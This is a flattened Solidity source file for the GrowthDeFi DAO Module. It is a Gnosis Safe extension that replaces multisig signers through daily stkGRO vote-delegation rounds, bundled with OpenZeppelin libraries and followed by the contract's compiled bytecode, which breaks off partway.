// SPDX-License-Identifier: GPL-3.0-only pragma experimental ABIEncoderV2; // File: @openzeppelin/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/EnumerableSet.sol pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/utils/ReentrancyGuard.sol pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // File: contracts/GVoting.sol pragma solidity ^0.6.0; /** * @dev An interface to extend gTokens with voting delegation capabilities. * See GTokenType3.sol for further documentation. */ interface GVoting { // view functions function votes(address _candidate) external view returns (uint256 _votes); function candidate(address _voter) external view returns (address _candidate); // open functions function setCandidate(address _newCandidate) external; // emitted events event ChangeCandidate(address indexed _voter, address indexed _oldCandidate, address indexed _newCandidate); event ChangeVotes(address indexed _candidate, uint256 _oldVotes, uint256 _newVotes); } // File: contracts/modules/Math.sol pragma solidity ^0.6.0; /** * @dev This library implements auxiliary math definitions. */ library Math { function _min(uint256 _amount1, uint256 _amount2) internal pure returns (uint256 _minAmount) { return _amount1 < _amount2 ? _amount1 : _amount2; } } // File: contracts/interop/Gnosis.sol pragma solidity ^0.6.0; interface Enum { enum Operation { Call, DelegateCall } } interface OwnerManager { function getOwners() external view returns (address[] memory _owners); function isOwner(address _owner) external view returns (bool _isOwner); } interface ModuleManager { function execTransactionFromModule(address _to, uint256 _value, bytes calldata _data, Enum.Operation _operation) external returns (bool _success); } interface Safe is OwnerManager, ModuleManager { } // File: contracts/modules/Multisig.sol pragma solidity ^0.6.0; /** * @dev This library abstracts the Gnosis Safe multisig operations. */ library Multisig { /** * @dev Lists the current owners/signers of a Gnosis Safe multisig. * @param _safe The Gnosis Safe contract address. * @return _owners The list of current owners/signers of the multisig. */ function _getOwners(address _safe) internal view returns (address[] memory _owners) { return Safe(_safe).getOwners(); } /** * @dev Checks if an address is a signer of the Gnosis Safe multisig. * @param _safe The Gnosis Safe contract address. * @param _owner The address to check if it is a owner/signer of the multisig. * @return _isOnwer A boolean indicating if the provided address is * indeed a signer. */ function _isOwner(address _safe, address _owner) internal view returns (bool _isOnwer) { return Safe(_safe).isOwner(_owner); } /** * @dev Adds a signer to the multisig by calling the Gnosis Safe function * addOwnerWithThreshold() via the execTransactionFromModule() * primitive. * @param _safe The Gnosis Safe contract address. * @param _owner The owner/signer to be added to the multisig. * @param _threshold The new threshold (minimum number of signers) to be set. * @return _success A boolean indicating if the operation succeded. */ function _addOwnerWithThreshold(address _safe, address _owner, uint256 _threshold) internal returns (bool _success) { bytes memory _data = abi.encodeWithSignature("addOwnerWithThreshold(address,uint256)", _owner, _threshold); return _execTransactionFromModule(_safe, _data); } /** * @dev Removes a signer to the multisig by calling the Gnosis Safe function * removeOwner() via the execTransactionFromModule() * primitive. * @param _safe The Gnosis Safe contract address. * @param _prevOwner The previous owner/signer in the multisig linked list. * @param _owner The owner/signer to be added to the multisig. * @param _threshold The new threshold (minimum number of signers) to be set. * @return _success A boolean indicating if the operation succeded. */ function _removeOwner(address _safe, address _prevOwner, address _owner, uint256 _threshold) internal returns (bool _success) { bytes memory _data = abi.encodeWithSignature("removeOwner(address,address,uint256)", _prevOwner, _owner, _threshold); return _execTransactionFromModule(_safe, _data); } /** * @dev Changes minimum number of signers of the multisig by calling the * Gnosis Safe function changeThreshold() via the * execTransactionFromModule() primitive. * @param _safe The Gnosis Safe contract address. * @param _threshold The new threshold (minimum number of signers) to be set. * @return _success A boolean indicating if the operation succeded. */ function _changeThreshold(address _safe, uint256 _threshold) internal returns (bool _success) { bytes memory _data = abi.encodeWithSignature("changeThreshold(uint256)", _threshold); return _execTransactionFromModule(_safe, _data); } /** * @dev Calls the execTransactionFrom() module primitive handling * possible errors. * @param _safe The Gnosis Safe contract address. * @param _data The encoded data describing the function signature and * argument values. * @return _success A boolean indicating if the operation succeded. */ function _execTransactionFromModule(address _safe, bytes memory _data) internal returns (bool _success) { try Safe(_safe).execTransactionFromModule(_safe, 0, _data, Enum.Operation.Call) returns (bool _result) { return _result; } catch (bytes memory /* _data */) { return false; } } } // File: contracts/GDAOModule.sol pragma solidity ^0.6.0; /** * @notice This contract implements a Gnosis Safe extension module to allow * replacing the multisig signers using the 1-level delegation voting * provided by stkGRO. Every 24 hours, around 0 UTC, a new voting round * starts and the candidates appointed in the previous round can become * the signers of the multisig. This module allows up to 7 signers with * a minimum of 4 signatures to take any action. There are 3 consecutive * phases in the process, each occuring at a 24 hour voting round. In * the first round, stkGRO holders can delegate their votes (stkGRO * balance) to candidates; vote balance is frozen by the end of that * round. In the second round, most voted candidates can appoint * themselves to become signers, replacing a previous candidate from the * current list. In the third and final round, the list of appointed * candidates is set as the list of signers to the multisig. The 3 * phases overlap so that, when one list of signers is being set, the * list for the next day is being build, and yet the votes for * subsequent day are being counted. See GVoting and GTokenType3 for * further documentation. */ contract GDAOModule is ReentrancyGuard { using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; string public constant NAME = "GrowthDeFi DAO Module"; string public constant VERSION = "0.0.2"; uint256 constant VOTING_ROUND_INTERVAL = 1 days; uint256 constant SIGNING_OWNERS = 7; uint256 constant SIGNING_THRESHOLD = 4; address public immutable safe; address public immutable votingToken; uint256 private votingRound; EnumerableSet.AddressSet private candidates; bool public pendingChanges; /** * @dev Restricts execution to Externally Owned Accounts (EOA). */ modifier onlyEOA() { require(tx.origin == msg.sender, "not an externally owned account"); _; } /** * @dev Constructor for the Gnosis Safe extension module. * @param _safe The Gnosis Safe multisig contract address. * @param _votingToken The ERC-20 token used for voting (stkGRO). */ constructor (address _safe, address _votingToken) public { safe = _safe; votingToken = _votingToken; votingRound = _currentVotingRound(); address[] memory _owners = Multisig._getOwners(_safe); uint256 _ownersCount = _owners.length; for (uint256 _index = 0; _index < _ownersCount; _index++) { address _owner = _owners[_index]; bool _success = candidates.add(_owner); assert(_success); } pendingChanges = false; } /** * @notice Returns the current voting round. This value gets incremented * every 24 hours. * @return _votingRound The current voting round. */ function currentVotingRound() public view returns (uint256 _votingRound) { return _currentVotingRound(); } /** * @notice Returns the approximate number of seconds remaining until a * a new voting round starts. * @return _timeToNextVotingRound The number of seconds to the next * voting round. */ function timeToNextVotingRound() public view returns (uint256 _timeToNextVotingRound) { return now.div(VOTING_ROUND_INTERVAL).add(1).mul(VOTING_ROUND_INTERVAL).sub(now); } /** * @notice Returns a boolean indicating whether or not turnOver() * can be called to apply pending changes. * @return _available Returns true if a new round has started and there * are pending changes. */ function turnOverAvailable() public view returns (bool _available) { return _turnOverAvailable(); } /** * @notice Returns the current number of appointed candidates in the list. * @return _count The size of the appointed candidate list. */ function candidateCount() public view returns (uint256 _count) { return candidates.length(); } /** * @notice Returns the i-th appointed candidates on the list. * @return _candidate The address of an stkGRO holder appointed to the * candidate list. */ function candidateAt(uint256 _index) public view returns (address _candidate) { return candidates.at(_index); } /** * @notice Appoints as candidate to be a signer for the multisig, * starting on the next voting round. Only the actual candidate * can appoint himself and he must have a vote count large * enough to kick someone else from the appointed candidate list. * No that the first candidate appointment on a round may update * the multisig signers with the list from the previous round, if * there are changes. */ function appointCandidate() public onlyEOA nonReentrant { address _candidate = msg.sender; if (_turnOverAvailable()) _turnOver(); require(!candidates.contains(_candidate), "already eligible"); require(_appointCandidate(_candidate), "not eligible"); } /** * @notice Updates the multisig signers with the appointed candidade * list from the previous round. Anyone can call this method * as soon as a new voting round starts. See hasPendingTurnOver() * to figure out whether or not there are pending changes to * be applied to the multisig. */ function turnOver() public onlyEOA nonReentrant { require(_turnOverAvailable(), "not available"); _turnOver(); } /** * @dev Finds the appointed candidates with the least amount of votes * for the current list. This is used to find the candidate to be * removed when a new candidate with more votes is appointed. * @return _leastVoted The address of the least voted appointed candidate. * @return _leastVotes The actual number of votes for the least voted * appointed candidate. */ function _findLeastVoted() internal view returns (address _leastVoted, uint256 _leastVotes) { _leastVoted = address(0); _leastVotes = uint256(-1); uint256 _candidateCount = candidates.length(); for (uint256 _index = 0; _index < _candidateCount; _index++) { address _candidate = candidates.at(_index); uint256 _votes = _countVotes(_candidate); if (_votes < _leastVotes) { _leastVoted = _candidate; _leastVotes = _votes; } } return (_leastVoted, _leastVotes); } /** * @dev Implements the logic for appointing a new candidate. It looks * for the appointed candidate with the least votes and if the * prospect given canditate has strictly more votes, it replaces * it on the list. Note that, if the list has less than 7 appointed * candidates, the operation always succeeds. * @param _newCandidate The given prospect candidate, assumed not to be * on the list. * @return _success A boolean indicating if indeed the prospect appointed * candidate has enough votes to beat someone on the * list and the operation succeded. */ function _appointCandidate(address _newCandidate) internal returns(bool _success) { address _oldCandidate = address(0); uint256 _candidateCount = candidates.length(); if (_candidateCount == SIGNING_OWNERS) { uint256 _oldVotes; (_oldCandidate, _oldVotes) = _findLeastVoted(); uint256 _newVotes = _countVotes(_newCandidate); if (_newVotes <= _oldVotes) return false; _success = candidates.remove(_oldCandidate); assert(_success); } _success = candidates.add(_newCandidate); assert(_success); pendingChanges = true; emit CandidateChange(votingRound, _oldCandidate, _newCandidate); return true; } /** * @dev Calculates the current voting round. * @return _votingRound The current voting round as calculated. */ function _currentVotingRound() internal view returns (uint256 _votingRound) { return now.div(VOTING_ROUND_INTERVAL); } /** * @dev Returns a boolean indicating whether or not the multisig * can be updated with new signers. * @return _available Returns true if a new round has started and there * are pending changes. */ function _turnOverAvailable() internal view returns (bool _available) { uint256 _votingRound = _currentVotingRound(); return _votingRound > votingRound && pendingChanges; } /** * @dev Implements the turn over by first adding all the missing * candidates from the appointed list to the multisig signers * list, and later removing the multisig signers not present * in the current appointed list. At last, it sets the minimum * number of signers to 4 (or the size of the list if smaller than * 4). This function is optimized to skip the process if it is * in sync, i.e no candidates were appointed since the last update. */ function _turnOver() internal { votingRound = _currentVotingRound(); // adds new candidates uint256 _candidateCount = candidates.length(); for (uint256 _index = 0; _index < _candidateCount; _index++) { address _candidate = candidates.at(_index); if (Multisig._isOwner(safe, _candidate)) continue; bool _success = Multisig._addOwnerWithThreshold(safe, _candidate, 1); assert(_success); } // removes old candidates address[] memory _owners = Multisig._getOwners(safe); uint256 _ownersCount = _owners.length; address _prevOwner = address(0x1); // sentinel from Gnosis for (uint256 _index = 0; _index < _ownersCount; _index++) { address _owner = _owners[_index]; if (candidates.contains(_owner)) { _prevOwner = _owner; continue; } bool _success = Multisig._removeOwner(safe, _prevOwner, _owner, 1); assert(_success); } // updates minimum number of signers uint256 _threshold = Math._min(_candidateCount, SIGNING_THRESHOLD); bool _success = Multisig._changeThreshold(safe, _threshold); assert(_success); pendingChanges = false; emit TurnOver(votingRound); } /** * @dev Returns the vote count for a given candidate. * @param _candidate The given candidate. * @return _votes The number of votes delegated to the given candidate. */ function _countVotes(address _candidate) internal view virtual returns (uint256 _votes) { return GVoting(votingToken).votes(_candidate); } event TurnOver(uint256 indexed _votingRound); event CandidateChange(uint256 indexed _votingRound, address indexed _oldCandidate, address indexed _newCandidate); }
0x608060405234801561001057600080fd5b50600436106100b45760003560e01c8063a9a981a311610071578063a9a981a31461016b578063ac12896314610189578063b034012314610193578063c2fb6a1f146101b1578063d8c345c0146101cf578063ffa1ad74146101ed576100b4565b8063186f0354146100b95780631fefe248146100d75780632e5cb407146100f55780634d9685cf146101135780639c7e84391461011d578063a3f4df7e1461014d575b600080fd5b6100c161020b565b6040516100ce919061183c565b60405180910390f35b6100df61022f565b6040516100ec9190611903565b60405180910390f35b6100fd610242565b60405161010a9190611a40565b60405180910390f35b61011b610299565b005b610137600480360381019061013291906114e1565b6103ae565b604051610144919061183c565b60405180910390f35b6101556103cb565b604051610162919061191e565b60405180910390f35b610173610404565b6040516101809190611a40565b60405180910390f35b610191610415565b005b61019b610593565b6040516101a8919061183c565b60405180910390f35b6101b96105b7565b6040516101c69190611a40565b60405180910390f35b6101d76105c6565b6040516101e49190611903565b60405180910390f35b6101f56105d5565b604051610202919061191e565b60405180910390f35b7f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de81565b600460009054906101000a900460ff1681565b60006102944261028662015180610278600161026a62015180426106ca90919063ffffffff16565b61071490919063ffffffff16565b61076990919063ffffffff16565b6107d990919063ffffffff16565b905090565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610307576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102fe906119e0565b60405180910390fd5b6002600054141561034d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161034490611a20565b60405180910390fd5b600260008190555061035d610823565b61039c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161039390611a00565b60405180910390fd5b6103a4610853565b6001600081905550565b60006103c4826002610a6c90919063ffffffff16565b9050919050565b6040518060400160405280601581526020017f47726f777468446546692044414f204d6f64756c65000000000000000000000081525081565b60006104106002610a86565b905090565b3373ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614610483576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161047a906119e0565b60405180910390fd5b600260005414156104c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104c090611a20565b60405180910390fd5b600260008190555060003390506104de610823565b156104ec576104eb610853565b5b610500816002610a9b90919063ffffffff16565b15610540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610537906119a0565b60405180910390fd5b61054981610acb565b610588576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057f90611980565b60405180910390fd5b506001600081905550565b7f000000000000000000000000d93f98b483cc2f9efe512696df8f5decb73f949781565b60006105c1610bdd565b905090565b60006105d0610823565b905090565b6040518060400160405280600581526020017f302e302e3200000000000000000000000000000000000000000000000000000081525081565b60608173ffffffffffffffffffffffffffffffffffffffff1663a0e67e2b6040518163ffffffff1660e01b815260040160006040518083038186803b15801561065657600080fd5b505afa15801561066a573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052508101906106939190611477565b9050919050565b60006106c2836000018373ffffffffffffffffffffffffffffffffffffffff1660001b610bfa565b905092915050565b600061070c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610c6a565b905092915050565b60008082840190508381101561075f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075690611960565b60405180910390fd5b8091505092915050565b60008083141561077c57600090506107d3565b600082840290508284828161078d57fe5b04146107ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c5906119c0565b60405180910390fd5b809150505b92915050565b600061081b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ccb565b905092915050565b60008061082e610bdd565b90506001548111801561084d5750600460009054906101000a900460ff165b91505090565b61085b610bdd565b600181905550600061086d6002610a86565b905060005b8181101561090e576000610890826002610a6c90919063ffffffff16565b90506108bc7f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de82610d26565b156108c75750610901565b60006108f57f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de836001610db9565b9050806108fe57fe5b50505b8080600101915050610872565b50606061093a7f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de61060e565b905060008151905060006001905060005b828110156109d557600084828151811061096157fe5b6020026020010151905061097f816002610a9b90919063ffffffff16565b1561098d57809250506109c8565b60006109bc7f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de85846001610e63565b9050806109c557fe5b50505b808060010191505061094b565b5060006109e3856004610f10565b90506000610a117f0000000000000000000000006e32d45075d893688cac8fd5dfc4aa42531d29de83610f29565b905080610a1a57fe5b6000600460006101000a81548160ff0219169083151502179055506001547f3cc76b62f314d3e62ab371705ead2318c61bbcc4f22318d640baf0240368003b60405160405180910390a2505050505050565b6000610a7b8360000183610fd0565b60001c905092915050565b6000610a948260000161103d565b9050919050565b6000610ac3836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61104e565b905092915050565b600080600090506000610ade6002610a86565b90506007811415610b3c576000610af3611071565b80925081945050506000610b06866110fd565b9050818111610b1c576000945050505050610bd8565b610b308460026111af90919063ffffffff16565b945084610b3957fe5b50505b610b5084600261069a90919063ffffffff16565b925082610b5957fe5b6001600460006101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff166001547f8fa0c89b843e9fcdc4cb1bd1de64d038817bad9758fdf74f88652d243eb7318c60405160405180910390a46001925050505b919050565b6000610bf562015180426106ca90919063ffffffff16565b905090565b6000610c06838361104e565b610c5f578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050610c64565b600090505b92915050565b60008083118290610cb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca8919061191e565b60405180910390fd5b506000838581610cbd57fe5b049050809150509392505050565b6000838311158290610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a919061191e565b60405180910390fd5b5060008385039050809150509392505050565b60008273ffffffffffffffffffffffffffffffffffffffff16632f54bf6e836040518263ffffffff1660e01b8152600401610d61919061183c565b60206040518083038186803b158015610d7957600080fd5b505afa158015610d8d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610db191906114b8565b905092915050565b600060608383604051602401610dd09291906118da565b6040516020818303038152906040527f0d582f13000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050610e5985826111df565b9150509392505050565b60006060848484604051602401610e7c93929190611857565b6040516020818303038152906040527ff8dc5dd9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050610f0586826111df565b915050949350505050565b6000818310610f1f5781610f21565b825b905092915050565b6000606082604051602401610f3e9190611a40565b6040516020818303038152906040527f694e80c3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050509050610fc784826111df565b91505092915050565b60008183600001805490501161101b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101290611940565b60405180910390fd5b82600001828154811061102a57fe5b9060005260206000200154905092915050565b600081600001805490509050919050565b600080836001016000848152602001908152602001600020541415905092915050565b600080600091507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff905060006110a76002610a86565b905060005b818110156110f75760006110ca826002610a6c90919063ffffffff16565b905060006110d7826110fd565b9050848110156110e8578195508094505b505080806001019150506110ac565b50509091565b60007f000000000000000000000000d93f98b483cc2f9efe512696df8f5decb73f949773ffffffffffffffffffffffffffffffffffffffff1663d8bff5a5836040518263ffffffff1660e01b8152600401611158919061183c565b60206040518083038186803b15801561117057600080fd5b505afa158015611184573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a8919061150a565b9050919050565b60006111d7836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6112b8565b905092915050565b60008273ffffffffffffffffffffffffffffffffffffffff1663468721a78460008560006040518563ffffffff1660e01b8152600401611222949392919061188e565b602060405180830381600087803b15801561123c57600080fd5b505af192505050801561126d57506040513d601f19601f8201168201806040525081019061126a91906114b8565b60015b6112ad573d806000811461129d576040519150601f19603f3d011682016040523d82523d6000602084013e6112a2565b606091505b5060009150506112b2565b809150505b92915050565b60008083600101600084815260200190815260200160002054905060008114611394576000600182039050600060018660000180549050039050600086600001828154811061130357fe5b906000526020600020015490508087600001848154811061132057fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061135857fe5b6001900381819060005260206000200160009055905586600101600087815260200190815260200160002060009055600194505050505061139a565b60009150505b92915050565b6000815190506113af81611bb8565b92915050565b600082601f8301126113c657600080fd5b81516113d96113d482611a88565b611a5b565b915081818352602084019350602081019050838560208402820111156113fe57600080fd5b60005b8381101561142e578161141488826113a0565b845260208401935060208301925050600181019050611401565b5050505092915050565b60008151905061144781611bcf565b92915050565b60008135905061145c81611be6565b92915050565b60008151905061147181611be6565b92915050565b60006020828403121561148957600080fd5b600082015167ffffffffffffffff8111156114a357600080fd5b6114af848285016113b5565b91505092915050565b6000602082840312156114ca57600080fd5b60006114d884828501611438565b91505092915050565b6000602082840312156114f357600080fd5b60006115018482850161144d565b91505092915050565b60006020828403121561151c57600080fd5b600061152a84828501611462565b91505092915050565b61153c81611a